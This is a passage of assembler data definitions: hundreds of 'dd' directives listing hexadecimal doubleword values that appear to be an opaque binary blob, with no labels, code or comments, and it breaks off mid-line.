dd 1636C093h, 0E880AC12h, 0CDE4E1D7h, 96112733h, 0C868A84Fh dd 3BF77B66h, 0E681AE7Ch, 0F4C3D1B6h, 0D4C2C18Ch, 98002558h dd 32AD9A07h, 7DBF9F6h, 0D73AC836h, 5B6160FBh, 803E6DBCh dd 8091B9D8h, 0CE8E7206h, 3B67EB64h, 608051E4h, 4D453859h dd 0F24CC0A2h, 44300035h, 91575876h, 4742003Dh, 37FB8F74h dd 0AB02AFA2h, 0C2BF8B6Eh, 0AAC7E0E1h, 4AB80195h, 74B9CDC4h dd 1AB7F84Ch, 5E3F9207h, 0FC13A850h, 0BAC7A13Ah, 4079209Fh dd 0CA5BE71Ah, 203B4042h, 0DE070075h, 0D01194A0h, 53271E93h dd 6B7B00DBh, 58210D4Eh, 435DB901h, 74541F4Ch, 50BB449Bh dd 0C0925AC1h, 68032460h, 0B038CE88h, 7143A189h, 8BFB208Eh dd 0D339D400h, 7F0037C4h, 6FF0DCDDh, 362851D7h, 0A0285AFEh dd 0C024606h, 1E114FFCh, 0C279B02Ch, 5D5C9E25h, 8374663h dd 78702157h, 653566h, 0B9CFEB11h, 0CD7A247Bh, 618CFA05h dd 8C40A0C5h, 3BDC34E0h, 11474C50h, 0B1F916h, 20BA4F12h dd 4307FAAh, 0E5558938h, 6A5E00D9h, 463B7895h, 110C32A5h dd 7802FDD8h, 1641004Dh, 97E1D6B3h, 9B009E6Bh, 7645DF84h dd 39CC0F17h, 1618A587h, 0A8A3E025h, 3998AE54h, 4860D06h dd 0CF03A7Eh, 0DF9E87D7h, 42012728h, 0C638C0D3h, 80CA1EE8h dd 1D215DA0h, 0A7D100F7h, 16740422h, 9900B081h, 0CE268659h dd 11A3B4Dh, 37DA563h, 0D96CC1B1h, 0FD60F077h, 0EA649603h dd 0BF1BA631h, 43759360h, 90ED025Ah, 2801A13Dh, 324F62C0h dd 35EB1900h, 9253D06Bh, 0B4BD0363h, 5AF2E0ABh, 0B3F1AFF8h dd 6D5C290Bh, 8F300019h, 0BE6109h, 59DF8A43h, 0CE45B568h dd 5888DC1Eh, 4B3E2380h, 1CA295AEh, 80E67C85h, 0B3F049ECh dd 3C0027D2h, 58203709h, 7B5CD18Bh, 0AC990687h, 11A382B2h dd 0C04A256h, 10D5974Dh, 0B7010079h, 64615A2Bh, 0B6C0439Dh dd 934A1696h, 5F2E008Fh, 270920D2h, 600A9CDh, 0A8C6F381h dd 381997F8h, 0BA831E70h, 591DC87Eh, 4F628680h, 97D32C3Ch dd 4B1D6F22h, 15E46082h, 0C2BBC014h, 7B7B81h, 82339D1Ch dd 6726AB29h, 31D8C100h, 969CFA19h, 30E307B2h, 69C9CA2Ch dd 2DEC1A80h, 0BA00BDF6h, 3DE55A86h, 72CF532h, 55A183AAh dd 0BC9F907Ah, 0CC00694Dh, 0D0501703h, 626F6Bh, 2B28C181h dd 22042D98h, 443340C0h, 1F6DDAACh, 9E261Ch, 36729916h dd 2200204Ch, 0D435721h, 3ADB5C6h, 0DE7F09E5h, 9EE8ED2Eh dd 1007CEB3h, 0FD867E1Bh, 77DA50B0h, 4B2A07ACh, 1E224CF1h dd 35752AFh, 49ED7132h, 3B0CE803h, 0D0C0102Bh, 0AEFBA0h dd 0D6B15430h, 5D48A902h, 8A601F14h, 0C1E800D4h, 0BCF0E6E7h dd 3F3005EAh, 41948E49h, 0AF4F1480h, 7C3EF4ECh, 46F22500h dd 0FBEDE493h, 0C789E2CBh, 0A0014A29h, 66AF3420h, 54493DB8h dd 0C1880004h, 4A19B30Ah, 0C62E386Ch, 0BF671D00h, 3643B904h dd 7DFAB200h, 0F658C4C7h, 0F149838h, 7C6A769Fh, 0BE445AA0h dd 0C10083E0h, 0C8F0350Ch, 24B7E8EBh, 0B84755h, 5FB842DCh dd 0EE00D994h, 8AAEFF66h, 0EAB697h, 85B29D63h, 4EEDE1E2h dd 0B024F030h, 2CC0DB38h, 0FAC886Fh, 0ADCA6E50h, 596908DCh dd 5FEA3986h, 9A200B90h, 817D3B63h, 5CF740A7h, 0CB4803F3h dd 0D866EB3Ch, 98FECE90h, 9B5F300h, 70F00B58h, 0FBA13E89h dd 885BD814h, 40F25C1Ch, 0C97EA277h, 3A00AD16h, 72B536E3h dd 1704E0h, 86038738h, 78914959h, 253EEC70h, 94CE07A4h dd 4D00ED96h, 4CB01002h, 5B001E61h, 26CB186Ch, 71386DADh dd 0B1AE82CCh, 40C0990Bh, 0C8EE0900h, 0C4601D81h, 3D8AEDE5h dd 9980468Eh, 9E7441B3h, 0D01DCB59h, 3F40533Bh, 751BB094h dd 77270047h, 0AC2B6CEh, 1125208h, 38002838h, 25BBAC3Bh dd 0FE4E505Fh, 0EA27F88Bh, 260AF4D1h, 830CA26Eh, 8AD8C51h dd 620FF0D0h, 9C6C7C00h, 0BE2EA0F9h, 0AEEDE791h, 8D1370h dd 0E6B3B269h, 0D4300B5Ch, 11F0A50Fh, 0CC774033h, 7060E4CAh dd 2648FA0Ch, 836861h, 6E2BBE97h, 855022C5h, 9B00A5D0h dd 7882934Bh, 2C6A2881h, 0F04EF5h, 3A6E1BE0h, 0D002140h dd 78F3DB9Dh, 0EE5A715h, 0AE5C6C76h, 903110C7h, 0B512CB4Ch dd 92A1C20Eh, 96A8E0D6h, 12478DDAh, 6D9982h, 0BDE15DECh dd 0A0F4344Dh, 55FFA703h, 3F60398h, 3E310F58h, 1100E1FCh dd 187CD2A5h, 524F8h, 8C49F34Fh, 19267757h, 31FCFE8h, 0A90B630Ah dd 0E6E8806Ah, 0F6B751B0h, 92EE1D5Fh, 0B52A8019h, 8AE10DA7h dd 770053FEh, 647E7302h, 7B5A0Fh, 8EF7FCBBh, 0CE3F601Bh dd 69D11F03h, 0C0BC27B1h, 120DB7ADh, 401A4D08h, 46AFA1D8h dd 9D0C4A97h, 2CF55510h, 1F52397Bh, 0ECAE13h, 0EE164714h dd 0C203E46Dh, 1D98418Eh, 14A39Bh, 92FF01C1h, 0A18CCAB1h dd 0E8B2C700h, 33FBF9DBh, 3C401F1h, 0F3144772h, 9912C0EBh dd 586EC606h, 400D31h, 0AE6F7268h, 0B42A85BBh, 810A5D16h dd 8C00C712h, 3FF34A8Dh, 62A4A028h, 5D1100D0h, 70DE7B23h dd 7520F43Ah, 0FEEAE0h, 0C66778E1h, 8576080Ch, 0C9AED600h dd 0FC8229D9h, 84E34D37h, 0E7075300h, 23B640A1h, 0A6046C90h dd 0D701FED6h, 187A7D80h, 988A0E0Ch, 51A07276h, 0F9216557h dd 81313Ah, 6D84520h, 0D3CF2h, 8C26ACB9h, 3AB8BBF6h, 0F9748092h dd 2A1B5500h, 0BDEFDB3Eh, 59C00042h, 4C3047B0h, 460A019Ch dd 0B84E7410h, 9B1BF201h, 9EEC4FC3h, 0AFF307A9h, 5B8860h dd 0E0B4743Bh, 8FE4F90Fh, 15CA8077h, 0A3E51Dh, 13CEDFF0h dd 39E6F3F2h, 8DC9C400h, 2C6E7C2h, 5D29004Ch, 55D90CB0h dd 3A02BD11h, 2EEF5619h, 68D460B4h, 0D1B13F0Eh, 0C91C9580h dd 0BF156D32h, 0AD698900h, 2C0B91A6h, 6EBD007Bh, 2070D564h dd 3C3F6876h, 0C7CF505Ah, 17E13B09h, 2FCC3h, 9D934307h dd 262E06F2h, 0C700F2B2h, 0E0A392A5h, 0A1E3C74h, 0E667D680h dd 0E3409615h, 22DDA200h, 9B28DF4h, 0A39A04CEh, 0C0FF6A20h dd 64A7B794h, 76009198h, 336C6B5Dh, 1DE5F99Bh, 40049812h dd 62C84FE9h, 5B003A31h, 0E6B46BC7h, 21FC54h, 0B98909Fh dd 6DBB1DCFh, 0D5FA4A00h, 8EE90DC8h, 0E55F031h, 75ED2D87h dd 0E514BA5h, 2A80C4F2h, 0FF271AAEh, 0F6934901h, 0BBCFD0E0h dd 9658F0h, 0AD4A456Ch, 5A12A1A9h, 0A4638500h, 67654CDCh dd 0C4DA4D28h, 701B4B0Bh, 1E12D180h, 0F200DB4Ah, 6C2F0686h dd 825DA0h, 0BE32E48Dh, 9583F848h, 7E50FB1Dh, 0E058020Eh dd 0B011091Eh, 9A28000Ah, 5131E3BAh, 0F312CBC9h, 3800CD2Dh dd 0F4B6A0F8h, 11B86744h, 0F74380F0h, 12182189h, 3018D376h dd 99D66001h, 0EE963F23h, 935F5700h, 8C35FCEFh, 0AE2D3899h dd 1780A6BFh, 1ECB5E76h, 7407E7EAh, 0EB3153ACh, 10188EF5h dd 3EF84C40h, 9E28DCEDh, 0BE50000Ch, 412AA0A8h, 4584FD4h dd 5761850Ch, 0ED318D3h, 835AFE30h, 36D40D81h, 89298018h dd 0D13FA8ADh, 0EE35003Ah, 0E27967A0h, 5F07E344h, 5A651861h dd 111398A0h, 1877889h, 7DC38890h, 0E825C6CCh, 9E009C54h dd 20D6B964h, 0EA5D21h, 0DB9069EEh, 81DE76B5h, 70828930h dd 25198DD2h, 74348FF6h, 798A048Dh, 0DF80B41Fh, 279344FDh dd 69FC3AA0h, 31200F6h, 51809CB6h, 2B008498h, 3CB22F73h dd 4081FFh, 0A778CBB7h, 3592E2E0h, 0CF98B800h, 81739E01h dd 6E60398Dh, 8E9D4200h, 49FDBF3h, 0FC1BE405h, 65C0A9CEh dd 1D3AABD4h, 0D22F2154h, 6625010Bh, 0E51C6D50h, 602F7107h dd 0DDEA1B78h, 0AAD22104h, 24C014B3h, 120C4ACh, 0EA43A08Ch dd 0F88AC162h, 692E22D3h, 0C000BD4Ch, 55F51ECFh, 61AD4CAAh dd 0F8E24900h, 0BBE5C90Ah, 8E5B4138h, 0A0BE1452h, 0FA42511Bh dd 50F80024h, 0A2F11E6h, 817758Ah, 180078CAh, 0B82644C4h dd 3F33001Fh, 0BB15A9C8h, 0ED078260h, 0E4412208h, 4419D630h dd 0B16A0264h, 7F0CA732h, 0C58B44E0h, 8C0168F4h, 1CAD4631h dd 0E08173E2h, 74ED85EBh, 0F58C6049h, 7C840B00h, 9E82522h dd 95D8A0D4h, 918200F3h, 3D87032Bh, 4B26BC1Dh, 0B280380Fh dd 54806196h, 14F1B0E9h, 0D09A1F21h, 2549A300h, 0F0707CC0h dd 67E474F5h, 14463A06h, 0F610F5A9h, 0ED8E005Ch, 6F29F32Bh dd 0C13EDEB1h, 9A6C001Ah, 0A92E0BBBh, 467DF2h, 2D3BD1EBh dd 0ADB5CC30h, 0D7F6C000h, 7055F32Ch, 1DC92EAh, 91D81E87h dd 0DC68D93Bh, 0B00701FFh, 6A6B6CD2h, 3E7E0B50h, 7F720074h dd 7D90E78h, 9C000C0Ah, 338D1702h, 38EFF24Dh, 0F0802ABCh dd 0AF585E4Ch, 890EA3CFh, 8128801Ch, 19840573h, 0B7801C28h dd 0C2459817h, 4DB68700h, 6DC0DA8Ch, 8A513C0Eh, 0C77FBD04h dd 8F70C317h, 0EABA2A80h, 2FF8731Ch, 0B000E2D3h, 2738A8F6h dd 44530055h, 7DA1C676h, 5B2A2554h, 3B00C8F3h, 7B80FF09h dd 28FDEF39h, 619056C9h, 8AC3E36h, 113EF48Ch, 9634AE00h dd 50B659BCh, 260B7D10h, 0F419FEh, 465A7BC0h, 8B0011D9h dd 0CDEA3749h, 605EDA6Ah, 94A150A0h, 0FD0EDD31h, 0A07CD95Ah dd 1B10ECE4h, 360F00C2h, 0EFED0660h, 0B012CD6h, 57C1F023h dd 52E090ACh, 942D00ECh, 27F96908h, 84147006h, 16D0A4FCh dd 2500E5ABh, 63449F8Ch, 0F3AD25C9h, 4B4AC038h, 8CCE2007h dd 46C01BD5h, 0FA110268h, 8E30E8Bh, 57670AC1h, 7B8900DBh dd 0F602C913h, 7247369h, 54704075h, 875F005Ah, 5DF7CEB0h dd 2600A2CBh, 0FDA6E993h, 39962557h, 0B980DE8Bh, 0FFC6181h dd 2492A8D0h, 0B5863224h, 0AE413400h, 7E7B46h, 0D7220761h dd 0CE43CFA4h, 80F1AC3Ch, 16F40CA6h, 92D6DAh, 5AB2A340h dd 0EF6629E5h, 54AD4700h, 0E642E76Ch, 187F004Eh, 7725A572h dd 6B033616h, 0FADD7D05h, 73BAB8B6h, 0EE540042h, 0FF2FE614h dd 7200909Bh, 7A054153h, 3B781FDFh, 95819277h, 94B82AC4h dd 7E68D0ABh, 1A6C58h, 7851E3DFh, 0D1BE15h, 98B583FDh dd 0B7C08F8h, 70236A00h, 0CCD889ECh, 0E88F005Eh, 281A2677h dd 78E45DDBh, 6200B4FEh, 175642D8h, 0E491B85Eh, 18D00736h dd 82348501h, 0B46258F8h, 26D270A0h, 3B0012C2h, 1BD1057Ah dd 0D8928Ch, 0CA71A214h, 0B2AC2701h, 8032F03Fh, 0D277CEA4h dd 188FFA7h, 4AA0054Bh, 24DB0F5Fh, 5400EFE4h, 0C139E2A6h dd 0AC4DB7h, 6D6AB576h, 0E0D39F0Fh, 4B0A821Eh, 65F80B98h dd 20B8C1h, 681E6114h, 67F1F229h, 0BF9CFA02h, 0E0217C57h dd 4325E7h, 0D39395EDh, 66E96ED8h, 0A98B9828h, 48A96800h dd 715E840Ch, 0D27B96h, 0E1C8F1Dh, 3D44B242h, 0DF4ECF00h dd 0D0F5B929h, 0B6F7006Ah, 0C2EB508Dh, 1D173351h, 1C5D0D6Ch dd 0F50C5200h, 7EAE80A4h, 0D71C0085h, 57604724h, 0D02551E7h dd 1CB0140Ah, 0C0ED8115h, 4C8BC878h, 4F64110Fh, 0A4C0C36Ch dd 0EE03A397h, 565E000Ch, 0A2EEEB09h, 0C600F225h, 594D396Dh dd 39C02092h, 41A55389h, 0E0C2FC87h, 0B1717E63h, 1C48697Dh dd 1DD44855h, 3A995D0Ah, 0C4294BB9h, 27660B03h, 43887583h dd 0D6101445h, 0FD01FB26h, 34F354F0h, 0CF8B20FCh, 9D2C5D00h dd 7D3536C3h, 716A00C9h, 8F596711h, 760E7C73h, 21C26C60h dd 36FD5B97h, 38E43C20h, 21004C99h, 85F7ABBEh, 0E1005681h dd 31639650h, 4E8A2Eh, 5F833D06h, 823D09Bh, 4A873Bh, 65E8F252h dd 12433EFAh, 1630CBh, 0DCC8F97Ch, 3B0069DBh, 0D5CA62ABh dd 7F7BF1h, 8736B163h, 541F2881h, 9F314700h, 0AD64AA88h dd 0EFFD032Fh, 2D8D56B6h, 20A692F9h, 4876E3D4h, 9C619F09h dd 0C16E8093h, 75957B3Eh, 32D400DBh, 37E5646Ch, 7900381Bh dd 1790CBC4h, 9402B512h, 34E380D8h, 38199699h, 434505Ch dd 1A177B4Ah, 39361100h, 0F50043D0h, 0ACD597FBh, 41E8DFh dd 382C4FCCh, 0DEA04502h, 0EEDCA70Fh, 0FF0DA0B5h, 271AA5h dd 0B6827BBBh, 8A8581F7h, 2C0038BAh, 4D728722h, 150263Ah dd 0CCDDA8E9h, 2021F2EFh, 0B600818Eh, 2BF51FB3h, 4606CEh dd 503727DBh, 0D4AF6F8Dh, 0FEF3A938h, 7E1F647Fh, 4392BB1Fh dd 0BF6FCC80h, 299D025Ah, 0C5E50134h, 0CEB414E1h, 80FFE3E3h dd 0AC9B7504h, 0E4D5B00h, 39644150h, 905D0385h, 7D5C6068h dd 0BBD33800h, 0D4ED9AF5h, 3D6E0029h, 0E94D583Bh, 0E11F351Eh dd 898020CEh, 0A1A85F54h, 0F993881Ch, 756C4D13h, 40421C4Eh dd 48C1F23Ch, 0B77F01BBh, 9851AAE5h, 73096080h, 0A9715615h dd 0CE01688h, 83BC8Ch, 938F44E3h, 3B99F8BCh, 0D6B0F513h dd 12A73F07h, 5A076A42h, 733F0F0Ch, 0B7005C75h, 0A8AE2ACBh dd 452B2C04h, 0D0A43BD4h, 577A009Bh, 90B6F0E2h, 19E8A8F7h dd 4C001FFCh, 0E670F7Ch, 5DB830h, 0D66314E2h, 711B021h dd 0A0913C00h, 6BEA46DDh, 0E1A1077Eh, 0E35DE828h, 48935196h dd 0D7A2881Fh dd 0B41804D2h, 0B7E618h, 0EB7AEC86h, 0D4DF4609h, 0FACC003h dd 8840586Dh, 0CFC96E7h, 4761725h, 5461B430h, 0A4A65850h dd 7C25AC4h, 7B7C2CB1h, 0BC8BC03Dh, 0DC028E0Eh, 0DE634BC8h dd 7515E0E6h, 0FB6B3A92h, 2E09CA00h, 3EE5526Ah, 0B8DEAB00h dd 48DC66E7h, 0A6BA009Eh, 0D0D1CEFAh, 0EF012B56h, 6E3DE111h dd 1B209F10h, 0F668005Fh, 0D4FCA88Eh, 5C3EA1A5h, 0BF0B00ACh dd 0A70D7C38h, 0D5722A47h, 0C7F200ACh, 0FE2ACD16h, 5E7773B7h dd 21D708CCh, 14795Bh, 0C855539Dh, 12DCD69Bh, 0D717FB18h dd 0A0E44B50h, 52A70CE4h, 0E0022C46h, 0C62B2816h, 1411A631h dd 0A126E415h, 0F89BB204h, 18802B96h, 308AFD95h, 5329AAE1h dd 6131C825h, 0BE4F79D7h, 0C054D705h, 0F759C32Bh, 0E68A9D00h dd 2C5B10A9h, 20BF608Ch, 357982D2h, 0CF57EF01h, 97210696h dd 21860898h, 350360E5h, 0A7A04030h, 0D8F2E0D3h, 73EF3ED4h dd 0E38069EFh, 0E0F79E65h, 30489807h, 8E449B58h, 0B6C8B0h dd 0BC9065E4h, 0EF8BE015h, 9114E90Fh, 5A90781Dh, 8C713757h dd 7D1B50A0h, 33007C34h, 75912F7h, 1E6C3AE1h, 81B46E79h dd 7FE9C243h, 6F8EC870h, 0C722900h, 0D49B45D6h, 57D10010h dd 0ACC9178Bh, 66006069h, 244E7712h, 68FC19h, 0B7BD6FEh dd 97336293h, 1D9EB300h, 0AB274A11h, 39C9021Eh, 63FBA294h dd 57408BC0h, 0EACE6760h, 6358A06h, 97375F7Bh, 6C006839h dd 9E708C34h, 6B00C54h, 4C8A24ECh, 76F21C9h, 92FE03CEh dd 94783C7Dh, 494BA380h, 585B0A52h, 1A0089F6h, 0A7F7AAEAh dd 0EB15EDAh, 9044224Bh, 353CD181h, 18CD30C6h, 366FFD00h dd 98EE1233h, 5B9D00C7h, 58AAE608h, 49043B2Dh, 0BB33070h dd 253DE0C0h, 0CADCF1D8h, 8E010A45h, 86906AD1h, 0A9103C64h dd 0B195E631h, 0F0F5C260h, 0BC81F4h, 0DDFDC740h, 0B66132F8h dd 5F8038DEh, 3BB123C2h, 26971F89h, 5585C0A5h, 30348E28h dd 0CD3C6707h, 646738D2h, 193A1D90h, 0E4F435h, 7F76151Ch dd 785C80FCh, 0B3B00400h, 0BC33EF4Ah, 4E05293h, 182F1280h dd 3D002581h, 9CCAAE3Fh, 12968D7Eh, 0E1344Ah, 9A116205h dd 0BD06393Ch, 0CB03819Fh, 0C88B3F38h, 0E85560E0h, 0BE00AB80h dd 0CB026C4Ch, 1E399926h, 40A65A08h, 41C4E03Bh, 0EF054C01h dd 0FEDABFDFh, 46EE203Ch, 688E0375h, 0BB7C59h, 2E6A5CB9h dd 4C875491h, 0D73D901Bh, 2F18608h, 42FA3EEh, 0EA83AC5Eh dd 0F9D63BFFh, 7A91401Fh, 0C3C7304Eh, 302FC994h, 0B213D08h dd 0F3007B04h, 0A318F20Ch, 26142B1h, 7D102BE2h, 848D948Eh dd 8D82E088h, 0AE204F1Eh, 63665C0h, 19E54967h, 1848E42Ah dd 0A832F412h, 3D1E7F7Ch, 0EF4E6B36h, 82A89854h, 6C585268h dd 662E4101h, 0C4BDF55h, 0FD21C0B8h, 74012ED6h, 3A959A3Bh dd 5EBB00DBh, 8396D1C6h, 1C130C87h, 5C30BAD2h, 0F4973D2Ah dd 0ED3E0FE4h, 18033E9Dh, 3119D171h, 0B4F824EFh, 0A6F34014h dd 0E03E4FDh, 0CCAC70A3h, 620830ABh, 0E8FF8A21h, 6700BAF6h dd 442EA2F0h, 0FFA6C184h, 1814F8C0h, 0B1D376C2h, 0A13F8C9Eh dd 9DF9A4DBh, 0BD40BF01h, 8C437C3Dh, 3481C4D6h, 95DC736Dh dd 644E00DAh, 89151749h, 0AD09F8F0h, 0FA71B30h, 46EA220Ch dd 0E04440B0h, 3EF290Fh, 0FDA7015Ch, 18AB0EE5h, 0F0D38861h dd 0BAC6E800h, 64809F11h, 0F4FB0089h, 9A7F9E49h, 0CB005D13h dd 0B9EBCFF0h, 46B05Bh, 69A1AFE6h, 73082E4Bh, 98AE3A28h dd 410F0946h, 0DB8417FDh, 3AD52C4Fh, 103FD5Ah, 38775C0Eh dd 0F606BDE0h, 0EFCF5D2Eh, 0BA448700h, 50223412h, 0F771805Ch dd 84094DDh, 12AAFF1Bh, 7A2F695h, 1B319224h, 8CEA85h, 0ED3DDAA0h dd 0E8E27AA6h, 0B45B7024h, 0CCB1FE00h, 2EDDA9h, 81595F34h dd 7D9635F1h, 4C973A00h, 0FC5BB033h, 0B8BC09F5h, 1C21BDA8h dd 0F00CF913h, 0F40C09D6h, 830CEEBh, 449249h, 650F412Ah dd 943F81C9h, 98C10A7Ch, 0E30C2145h, 3302430h, 97854C6Bh dd 0F0E3334Ah, 7F3E1918h, 86B7DA70h, 0A61F0CFCh, 88A1F9D3h dd 6802BC3Fh, 82A80ACBh, 11CB098h, 30787B8Eh, 5C60481Ch dd 0DF8C69F0h, 13350E02h, 0BAA23F82h, 18409BBDh, 84CF4A2h dd 6406065Ch, 63B0A68Ah, 7174D14Bh, 0A078129Bh, 0CEF08C93h dd 6DC6003Eh, 0C2A5F471h, 6518B4CBh, 6670A1A2h, 197F6C8h dd 3B1E91BAh, 0E0BFE339h, 46642EEAh, 74CB3310h, 7444B9DAh dd 102E4301h, 0C421C87Ah, 90F6A0CFh, 0E3831EC2h, 837DDD33h dd 0A3880B2Ch, 11C83948h, 84857F0h, 4C90435h, 1479644h dd 0C4DC72E5h, 0E9CC8C41h, 14EDF8F3h, 351D0010h, 0E42E89C8h dd 0A549626Eh, 8EBD06CCh, 0CC1E965h, 0B2AC293Eh, 64145540h dd 2684D416h, 74087C0Ah, 2E6D6076h, 0BF525542h, 0B92274h dd 282FA531h, 0FEB0B5DEh, 0F9059907h, 30E06F5Fh, 0C0979E02h dd 84B22E80h, 0C802C9FBh, 0EBAAF668h, 558D6030h, 0F09A3Fh dd 5209ED2Fh, 3B56DAF0h, 0DCE24F00h, 0EF6840BDh, 0F6A73B2h dd 1FC8EC65h, 18B7ED40h, 6C08359Ch, 47FAC06h, 9513F422h dd 0D3803368h, 2040B4E0h, 8EE8A08Eh, 78A64996h, 5C347612h dd 0CD18402Ch, 0C9F4741Fh, 0FEE7AA2Fh, 38810054h, 37ADF358h dd 0B52CF10Ah, 0C283D068h, 88CE1CDDh, 73E35895h, 534118F9h dd 0FF6D216Bh, 8E04B171h, 310CC0F0h, 2BC894CBh, 0E0EE75C0h dd 0D65E02CAh, 78A09A96h, 1D175040h, 0D40E9326h, 510A4887h dd 5380ACCAh, 4BDA92D5h, 655D383Fh, 0A5865080h, 84A2EAE0h dd 349FF31Dh, 0FA03FF80h, 185C64F7h, 411254AAh, 27009B4Fh dd 0A54ED985h, 32EE29h, 2B0896Dh, 0DB58A167h, 0BD1C3348h dd 84EF4AC0h, 9480D21Dh, 439EF286h, 0E13500C8h, 54A74275h dd 80C03449h, 80726108h, 3DB4004Fh, 41834B47h, 5B2973ACh dd 0C100C029h, 0A1F86414h, 209A1203h, 0AE3C01AAh, 2072E480h dd 832C02A8h, 1DCEC31h, 77AD4DE2h, 0D6E83F36h, 12DD5C40h dd 29C14F90h, 0BE343132h, 0EB3840E2h, 194F653h, 0EE4CB008h dd 0E01777CCh, 20C1BA1Ah, 0ED298133h, 638AE024h, 0AF76494Bh dd 0FF55100h, 2F537C06h, 0EF743CDDh, 0FC884FA8h, 0F1103012h dd 3FDE8E29h, 71CD94Ch, 95A83052h, 487804C8h, 0C498CE34h dd 0A030E096h, 4D0F3CDEh, 0BF77063Bh, 4460A316h, 23A70CE4h dd 0E03C31D3h, 0ACCF321h, 34D7001Dh, 14544CCBh, 1048E63Ah dd 7D4300B8h, 0E011466Ch, 30340F35h, 52D6F2h, 0EC866000h dd 0E94C10EEh, 6B561080h, 87846480h, 5308496Ch, 3EA07Eh dd 9D570A34h, 161398FFh, 3C0F4C58h, 8E03309Ah, 84606413h dd 53DA381Eh, 0B1BA9683h, 867003C8h, 385A0887h, 0D575E815h dd 0D01F00ACh, 8C597AC7h, 123B00C9h, 9B224A2Bh, 100CD2AFh dd 80EE3D82h, 6F0A0106h, 4E6BD58Fh, 78A89834h, 0C1DC7371h dd 1BA00751h, 0CA7AF08Ch, 0C89B4707h, 8740A72Fh, 20817014h dd 40CCE66Dh, 9004E99Ch, 5B0A242Ch, 7BFD08B0h, 652FBE60h dd 40A75855h, 2EC0EAE3h, 77009C4Fh, 67AB86B0h, 158F63BAh dd 0D4767F13h, 69A53300h, 1EFA275h, 0F4F6A729h, 86BC3A78h dd 6D02100h, 2AF2D9FEh, 0C81F5C04h, 5731A304h, 127C8111h dd 718870B4h, 0AA8C2E13h, 2DCCC403h, 0B82BD87Dh, 62F0FBh dd 309224FAh, 0C91C6395h, 0BA4F1B1Eh, 5509FC7Fh, 4137BF8h dd 0F08C02A8h, 0D8F60218h, 0E0D5813Eh, 100C64E4h, 10149422h dd 82B4960Bh dd 6589BA31h, 30A6FC80h, 50C035E3h, 17077316h, 0FF29CAD7h dd 0C81915F0h, 64126D1Fh, 325547CCh, 44853458h, 5410D090h dd 0D23053F8h, 65BA18BEh, 0DCA0D092h, 4001FF23h, 0D7556B2Eh dd 0FC88A518h, 192F00B9h, 0DBE48225h, 9600240Bh, 0C9553D73h dd 0CB08714h, 636D626Fh, 9807BD78h, 0C8DA28B1h, 0DC94A14Bh dd 0CE7CAA6h, 0EC904838h, 641634D8h, 1001117Eh, 2AE43ACFh dd 0F63EBAD4h, 13CCEEE0h, 0D24A9Ch, 7B103450h, 0C453F8FFh dd 0CCA18420h, 0E5688165h, 9E788542h, 0FCC02B52h, 97BD26h dd 0C6302973h, 3195D792h, 7C52EA12h, 37C0C05Dh, 354CBC70h dd 30CD4E33h, 447B6308h, 8173023h, 90034B5h, 367E7B1Eh dd 9284265Ch, 9D948360h, 0C805D05Eh, 30B87179h, 32EB8C06h dd 5082E2C9h, 256010D5h, 30312048h, 4A21804h, 830EE8FDh dd 2078324Fh, 64FD5B86h, 0EA189A78h, 0D9D96802h, 141948C8h dd 0A8484200h, 2E4B739Fh, 0E8199C4Eh, 0FC18FA68h, 0E77E879h dd 0A865448Ch, 0CE77500h, 8220D7Ah, 0A82758F8h, 8CCC9C44h dd 6B7B6C04h, 0A0382F30h, 0B27B0300h, 7663CE9Eh, 822A1F38h dd 0B9628813h, 3E020424h, 0E8F5FE34h, 1B27DACh, 1E06C15Ch dd 600EAC2Bh, 7B0BEE39h, 3C811A4h, 0F853584Bh, 78404Ch dd 6D9E049Bh, 2061FE7Dh, 0C7121104h, 2F8752CBh, 94F2CA30h dd 0C5720EDEh, 63A02517h, 2F8D2BD1h, 9A73B00h, 2A489088h dd 89400024h, 7A0A78C0h, 53004FCDh, 4DED7471h, 30482Ch dd 0D3999755h, 0F7C9D11Bh, 0D649F12Eh, 76A3183Ah, 132E620h dd 4BAC54D7h, 0F09CEAB6h, 133BF314h, 710B00B4h, 4C2F9E01h dd 2C275274h, 19D38701h, 0CFC99D1h, 0CCEC89BEh, 0D60151D7h dd 1922EF7h, 0F3702D4Bh, 0E9480071h, 0D2F345B6h, 0E703A775h dd 31E54A2Eh, 3EC02355h, 0B0D25003h, 3421FDD1h, 890177B7h dd 67970008h, 9209008Ah, 0C93BB003h, 55601DF4h, 1CA50829h dd 0A07C39F8h, 26FE600Ch, 490FF320h, 83A8B94Dh, 388EC72h dd 59553698h, 4100127Ch, 516BBF10h, 0E85029Ch, 8632B142h dd 0BAF1AA80h, 67002E77h, 879AA96Bh, 6008C18Bh, 5B99482Dh dd 0EC28466Ah, 0EB0AA02Eh, 0A8BF3AA2h, 0BA371300h, 0DA9BE2h dd 493990A7h, 61A84E23h, 0F100AF77h, 58F6446Ah, 1D65D42h dd 0CFD976A2h, 0F51BCD8Ch, 0DA55D010h, 52C48800h, 7DD34851h dd 0C37FDCh, 1E77031Ah, 0B8B66455h, 0A959E903h, 0F841C58Eh dd 6FF1EBh, 8ADE2EF3h, 713AF488h, 700DCE00h, 4FC0649Eh dd 5FED015Ah, 824BC6C8h, 0D1D260F1h, 45D84600h, 87BC568Dh dd 5AD4E54Fh, 1EE904E6h, 0BEC3CE1Ch, 4BC7BDC0h, 198838A1h dd 0B881D4BEh, 0B5A47D83h, 0BE42EC35h, 8FB7AD00h, 674BCCB6h dd 2EC30240h, 71B0FE1Ch, 802F80C1h, 4256AC21h, 330D659h dd 0C06E3A0Ch, 29E0B9AEh, 0AB30F2CEh, 0F50D28B8h, 0F0A5009Ah dd 0D61DBFBDh, 0D2707A1Ah, 3B9C8E1Dh, 6D347780h, 6E0E80EFh dd 2C8339CDh, 68008EBDh, 0ADFE7677h, 73B9D73h, 6F4E0FF2h dd 0A497304Fh, 0A907DF60h, 49C42451h, 0B24869C1h, 4625700h dd 0BB18F900h, 8076C002h, 72AD0712h, 71A0A2D1h, 85ACA31Ch dd 8E382170h, 0D2AD1EC0h, 26A10124h, 88CC25F0h, 5889838Dh dd 889C20BAh, 6A696B1h, 0CC5B9D74h, 9EE02181h, 9361700h dd 0F152C32Dh, 46183355h, 93889748h, 0D13DC015h, 6AE4002Fh dd 3A82DDDCh, 18F6008Bh, 73D7A2DBh, 0FE7AE225h, 54352700h dd 78CCEE5h, 283060CCh, 0F0787F37h, 56052300h, 2E88FEE7h dd 0EA682EEBh, 7F040E6Ch, 3BB33D01h, 0CDBDCC32h, 98D639h dd 5677A736h, 0B9A67Ch, 2594C2D2h, 9BE98A0Ah, 4E05D100h dd 8BBEF903h, 3B610089h, 